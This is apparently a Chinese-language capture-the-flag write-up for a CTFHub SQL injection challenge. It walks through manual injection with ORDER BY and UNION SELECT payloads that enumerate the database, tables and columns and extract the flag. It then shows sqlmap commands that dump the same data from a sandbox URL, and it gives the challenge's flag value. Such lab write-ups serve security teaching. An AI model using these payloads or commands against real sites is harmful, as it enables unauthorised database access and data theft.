手工注入
判断注入类型
有图可知,是字符型注入。
判断列数
输入:1' or 1=1 order by 3 #
,查询失败。
输入:1' or 1=1 order by 2 #
,查询成功。
由此观之,列数为 2。
联合查询
1、查询数据库版本号、当前数据库名:
1' and 1=2 union select version(), database() #
由此观之,有数据库sqli
。
2、查询表名:
1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
由此观之,有 2 张表,分别为flag
、news
。
3、查询flag
表中的列名:
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #
由此观之,flag
表下有一个字段叫flag
。
4、查询记录:
1' and 1=2 union select 2,group_concat(flag) from flag #
可以得到 Flag:ctfhub{e85e440435985125ee6ba60b}
SQLMap 自动化注入
获取数据库信息
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --dbs --threads 4
查看数据库中的表
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli --tables
查看表里的字段
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag --columns
查看字段详细信息
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag -C flag --dump